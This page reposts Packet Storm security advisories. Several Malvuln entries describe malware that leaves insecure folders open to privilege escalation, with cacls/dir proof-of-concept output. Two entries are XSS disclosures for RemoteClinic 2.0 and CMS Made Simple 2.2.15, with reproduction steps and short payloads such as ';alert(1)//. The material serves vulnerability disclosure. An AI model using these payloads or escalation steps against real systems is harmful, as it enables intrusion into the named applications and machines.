Exploit Collector
Backdoor.Win32.DarkKomet.artr Insecure Permissions

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Backdoor.Win32.DarkKomet.artr malware suffers from an insecure permissions vulnerability.

MD5 | fecd682c5522b35c6a65c75b4d93d54d

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Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/d2ee6046fd47de321d1310dccacca92b.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.DarkKomet.artr
Vulnerability: Insecure Permissions
Description: The malware creates an hidden insecure dir named "Windupdt" under c:\ drive and grants change (C) permissions to the authenticated user group. Standard users can rename the executables dropped by the malware to disable it or replace it with their own executable. Then wait for a privileged user to logon to the infected machine to potentially escalate privileges.
Type: PE32
MD5: d2ee6046fd47de321d1310dccacca92b
Vuln ID: MVID-2021-0182
Dropped files: winupdate.exe
Disclosure: 04/21/2021
Exploit/PoC:
C:\>cacls Windupdt
C:\Windupdt BUILTIN\Administrators:(OI)(CI)(ID)F
NT AUTHORITY\SYSTEM:(OI)(CI)(ID)F
BUILTIN\Users:(OI)(CI)(ID)R
NT AUTHORITY\Authenticated Users:(ID)C
NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C
C:\>dir Windupdt
Volume in drive C has no label.

Directory of C:\Windupdt

0 File(s) 0 bytes
2 Dir(s) 34,641,420,288 bytes free
C:\>attrib -s -h Windupdt/*

C:\>dir Windupdt
Volume in drive C has no label.

Directory of C:\Windupdt

06/15/2012 05:07 PM 650,752 winupdate.exe
1 File(s) 650,752 bytes
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

Exploit Collector
RemoteClinic 2.0 Cross Site Scripting

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RemoteClinic version 2.0 suffers from multiple persistent cross site scripting vulnerabilities.

MD5 | 595ad2c6469d900f430693ecfc6768cb

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# Exploit Title: RemoteClinic 2.0 - 'Multiple' Stored Cross-Site Scripting (XSS)
# Date: 13/04/2021
# Exploit Author: Saud Ahmad
# Vendor Homepage: https://remoteclinic.io/
# Software Link: https://github.com/remoteclinic/RemoteClinic
# Version: 2.0
# Tested on: Windows 10
# CVE : CVE-2021-30030, CVE-2021-30034, CVE-2021-30039, CVE-2021-30042

#Steps to Reproduce:

1)Login in Application as Doctor.
2)Register a Patient with Full Name Field as XSS Payload: XSS">x
3)After Register Patient, go to "Patients" endpoint.
4)XSS Executed.

For Detail POC: https://github.com/remoteclinic/RemoteClinic/issues/1

#Steps to Reproduce:

1)Login in Application as Doctor.
2)Register a Patient.
3)After Register Patient, a page redirect to Register Report Page.
4)Here is "Symptoms" Field as XSS Payload: XSS">x
4)After Register Report, Click on home which is "dashboard" endpoint.
5)XSS Executed.

For Detail POC: https://github.com/remoteclinic/RemoteClinic/issues/5

#Steps to Reproduce:

1)Login in Application as Doctor.
2)Register a Patient.
3)After Register Patient, a page redirect to Register Report Page.
4)When you scroll down page two fields there "Fever" and "Blood Pressure", both are vulnerable to XSS, inject XSS Payload in both Fields: XSS">x
4)After Register Report, Click on home.
5)Now Click on Report, XSS Executed.

For Detail POC: https://github.com/remoteclinic/RemoteClinic/issues/8

#Steps to Reproduce:

1)Login in Application as Doctor.
2)Register a New Clinic.
3)Here is four fields "Clinic Name", "Clinic Address", "Clinic City" and "Clinic Contact". All are vulnerable to XSS.
4)Inject XSS Payload in all Fields: XSS">x
4)Now go to Clinic Directory.
5)Click on that Clinic.
6)XSS Executed.

For Detail POC: https://github.com/remoteclinic/RemoteClinic/issues/11

Source:packetstormsecurity.com

Exploit Collector
CMS Made Simple 2.2.15 Cross Site Scripting

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CMS Made Simple version 2.2.15 suffers from a reflective cross site scripting vulnerability.

MD5 | 1bd97d4c76ab1904826cf2601e327f7c

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# Exploit Title: CMS Made Simple 2.2.15 - 'title' Cross-Site Scripting (XSS)
# Date: 2021/03/19
# Exploit Author: bt0
# Vendor Homepage: http://www.cmsmadesimple.org/
# Software Link: https://s3.amazonaws.com/cmsms/downloads/14832/cmsms-2.2.15-install.zip
# Version: 2.2.15
# CVE: CVE-2021-28935 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-28935

-----------------------------------------------------------

If you log into Admin panel and open My Preferences you could be able to exploit XSS in title field

Reflected XSS in /admin/addbookmark.php

Some payloads that works:

">
">
63311';alert(1)//812
//-->">'>

------------------------------------------------------------


Source:packetstormsecurity.com

Exploit Collector
HEUR.Trojan.Win32.Generic Insecure Permissions

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HEUR.Trojan.Win32.Generic malware suffers from an insecure permissions vulnerability.

MD5 | 2a482d4c4d4e0b3ced5112d43e250ba3

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Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/1a98a0a769e7351ba16e1b91e9f26692.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: HEUR.Trojan.Win32.Generic
Vulnerability: Insecure Permissions
Description: The malware creates an insecure dir named "RECYCLER" under c:\ drive and grants change (C) permissions to the authenticated user group. Standard users can rename the executables dropped by the malware to disable it or replace it with their own executable. Then wait for a privileged user to logon to the infected machine to potentially escalate privileges.
Type: PE32
MD5: 1a98a0a769e7351ba16e1b91e9f26692
Vuln ID: MVID-2021-0179
Dropped files: svchost2.exe
Disclosure: 04/21/2021
Exploit/PoC:
C:\>cacls RECYCLER
C:\RECYCLER BUILTIN\Administrators:(OI)(CI)(ID)F
NT AUTHORITY\SYSTEM:(OI)(CI)(ID)F
BUILTIN\Users:(OI)(CI)(ID)R
NT AUTHORITY\Authenticated Users:(ID)C
NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C
C:\>dir RECYCLER
Volume in drive C has no label.

Directory of C:\RECYCLER

06/16/2012 02:32 AM 49,152 svchost2.exe
1 File(s) 49,152 bytes
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

Exploit Collector
IM-Worm.Win32.Bropia.aa Insecure Permissions

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IM-Worm.Win32.Bropia.aa malware suffers from an insecure permissions vulnerability.

MD5 | 695f9acb229dede25734a9ad77cdd57b

Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/ea6dfec6c3900ab422875119972d9c62.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: IM-Worm.Win32.Bropia.aa
Vulnerability: Insecure Permissions
Description: The malware creates an hidden insecure dir named "tmpdata" under c:\ drive and grants change (C) permissions to the authenticated user group. Standard users can rename the executables dropped by the malware to disable it or replace it with their own executable. Then wait for a privileged user to logon to the infected machine to potentially escalate privileges.
Type: PE32
MD5: ea6dfec6c3900ab422875119972d9c62
Vuln ID: MVID-2021-0181
Dropped files: ImSexy.exe
Disclosure: 04/21/2021

Exploit/PoC:
C:\>cacls \tmpdata
C:\tmpdata BUILTIN\Administrators:(OI)(CI)(ID)F
NT AUTHORITY\SYSTEM:(OI)(CI)(ID)F
BUILTIN\Users:(OI)(CI)(ID)R
NT AUTHORITY\Authenticated Users:(ID)C
NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C

C:\>attrib -s -h \tmpdata

C:\>dir \tmpdata
Volume in drive C has no label.

Directory of C:\tmpdata

04/16/2021 09:10 AM 86,528 ImSexy.exe
1 File(s) 86,528 bytes
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

Exploit Collector
Trojan-Dropper.Win32.Agent.xtp Insecure Permissions

https://3.bp.blogspot.com/-m8d6k5PvpEU/WWlvYbY80xI/AAAAAAAAIOk/9YRDlN0af5krj_sxTfYJBUTX80Cs4dJKgCLcBGAs/s1600/h56.png
Trojan-Dropper.Win32.Agent.xtp malware suffers from an insecure permissions vulnerability.

MD5 | 8e89a86e6c11f3f3c3c59b5fc095a20d

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Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/360bbc9e0926488f085029948ff6c759.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Trojan-Dropper.Win32.Agent.xtp
Vulnerability: Insecure Permissions
Description: The malware creates an insecure dir named "remove" under c:\ drive and grants change (C) permissions to the authenticated user group. Standard users can rename the executables dropped by the malware to disable it or replace it with their own executable. Then wait for a privileged user to logon to the infected machine to potentially escalate privileges.
Type: PE32
MD5: 360bbc9e0926488f085029948ff6c759
Vuln ID: MVID-2021-0180
Disclosure: 04/21/2021
Exploit/PoC:
C:\>cacls remove
C:\remove BUILTIN\Administrators:(OI)(CI)(ID)F
NT AUTHORITY\SYSTEM:(OI)(CI)(ID)F
BUILTIN\Users:(OI)(CI)(ID)R
NT AUTHORITY\Authenticated Users:(ID)C
NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C
C:\>dir remove
Volume in drive C has no label.

Directory of C:\remove

04/20/2021 11:54 PM 5,090 clngbuster.reg
04/20/2021 11:54 PM 192 deleta.CMD
04/20/2021 11:54 PM 155 mata.CMD
04/20/2021 11:54 PM 146,232 movefile.exe
04/20/2021 11:54 PM 234,536 psexec.exe
04/20/2021 11:54 PM 187,184 pskill.exe
04/20/2021 11:54 PM 126 remove.CMD
04/20/2021 11:54 PM 237 removeGB.CMD
04/20/2021 11:54 PM 303,616 SetACL.exe
04/20/2021 11:54 PM 2,971 setreg.CMD
10 File(s) 880,339 bytes
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

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